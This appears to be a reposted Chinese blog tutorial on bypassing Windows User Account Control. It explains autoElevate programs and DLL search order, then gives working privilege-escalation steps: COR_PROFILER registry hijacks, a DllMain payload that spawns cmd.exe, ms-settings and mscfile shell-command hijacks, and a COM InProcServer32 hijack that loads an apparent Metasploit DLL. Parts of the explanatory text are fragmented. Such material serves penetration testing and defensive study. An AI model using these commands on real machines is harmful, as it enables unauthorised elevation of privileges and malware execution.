用户帐户控制(User Account Control,简写作UAC)是微软公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系统中采用的一种控制机制,保护系统进行不必要的更改,提升操作系统的稳定性和安全性。
管理员在正常情况下是以低权限运行任务的,这个状态被称为被保护的管理员。但当管理员要执行高风险操作(如安装程序等),就需要提升权限去完成这些任务。这个提升权限的过程通常是这样的,相信各位都眼熟过。
当某个EXE文件的文件清单里有<autoElevate> 元素时,当执行该文件时会默认提权执行。
我们劫持该exe文件的dll,可以达到Bypass UAC提权的目的。
适用范围:管理员权限以获得,要得到高权限管理员权限
一般用工具sigcheck检测
网上常拿C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe 举列子
这个东西很有用,是下面部分方法的前提条件
有三个不同的参数:asInvoker requireAdministrator highestAvailable 分别对应应用程序以什么权限运行
asInvoker:父进程是什么权限,此应用程序就是什么权限
requireAdministrator:需要以管理员权限来运行,此类应用程序图标右下方会有个盾牌标记
highestAvailable:此程序以当前用户能获取到的最高权限运行。当你在管理员账户下运行此程序就会要求权限提升以及弹出UAC框。当你在标准账户下运行此程序,由于此账户的最高权限就是标准账户,所以双击便运行
除了刚刚说的autoelevate,还有一类叫白名单程序的应用程序也是打开默认提权的。如服务管理工具下的许多应用都属于白名单程序,而其中又有些程序执行时需要依赖CLR支持(如事件查看器,任务计划程序)
SYSTEM32
目录SYSTEM
目录Windows
目录SetCurrentDirecctory
)PATH
环境变量中列出的目录Know DLLs注册表项
的机制:Know DLLs注册表项指定的DLL是已经被操作系统加载过后的DLL,不会被应用程序搜索并加载。在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLS处可以看见这些dll在knowdlls表项中的dll是预先就加载进内存空间的,被诸多应用调用着,改动需要高权限。
如果我们在应用程序找到正确的dll之前,将我们自己创造的dll放入优先级更高的搜索目录让应用程序优先加载此dll文件,这就造成了dll劫持。但这只是dll劫持的其中一种途径,他有这些途径:
(1) DLL替换:用恶意的DLL替换掉合法的DLL
(2) DLL搜索顺序劫持:当应用程序加载DLL的时候,如果没有带指定DLL的路径,那么程序将会以特定的顺序依次在指定的路径下搜索待加载的DLL。通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。
(3) 虚拟DLL劫持:释放一个恶意的DLL来代替合法应用程序加载的丢失/不存在的DLL
(4) DLL重定向:更改DLL搜索的路径,比如通过编辑%PATH%环境变量或 .exe.manifest/.exe.local文件以将搜索路径定位到包含恶意DLL的地方。
(5) WinSxS DLL替换:将目标DLL相关的WinSxS文件夹中的恶意DLL替换为合法的DLL。此方法通常也被称为DLL侧加载
(6) 相对路径DLL劫持:将合法的应用程序复制(并有选择地重命名)与恶意的DLL一起放入到用户可写的文件夹中。在使用方法上,它与(签名的)二进制代理执行有相似之处。它的一个变体是(有点矛盾地称为)“自带LOLbin”,其中合法的应用程序带有恶意的DLL(而不是从受害者机器上的合法位置复制)。
这里我们先用第一种方法来进行实验,实验对象是C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe和Listary。Listary是一个很好用的检索小工具,我通过processmonitor,设置好过滤条件,查看SystemPropertiesAdvanced.exe调用的dll时发现它会调用一个Listary下的一个名为ListaryHook.dll的dll。
COR_ENABLE_PROFILING = 1
COR_PROFILER={CLSIDor ProgID}
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\test\calc.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
mmc gpedit.msc
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <Windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
char cmd[] = "cmd.exe";
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command"
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d C:\Windows\System32\cmd.exe /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /f
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d C:\Windows\System32\cmd.exe /f
HKCU\Software\Classes\CLSID
HKCR\CLSID
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "" /t REG_SZ /d "d:\msf_x64.dll" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "LoadWithoutCOM" /t REG_SZ /d "" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v "HideOnDesktop" /t REG_SZ /d "" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v "Attributes" /t REG_DWORD /d 0xf090013d /f
原创作者:ConsT27作者博客:www.const27.com
如有侵权,请联系删除
好文推荐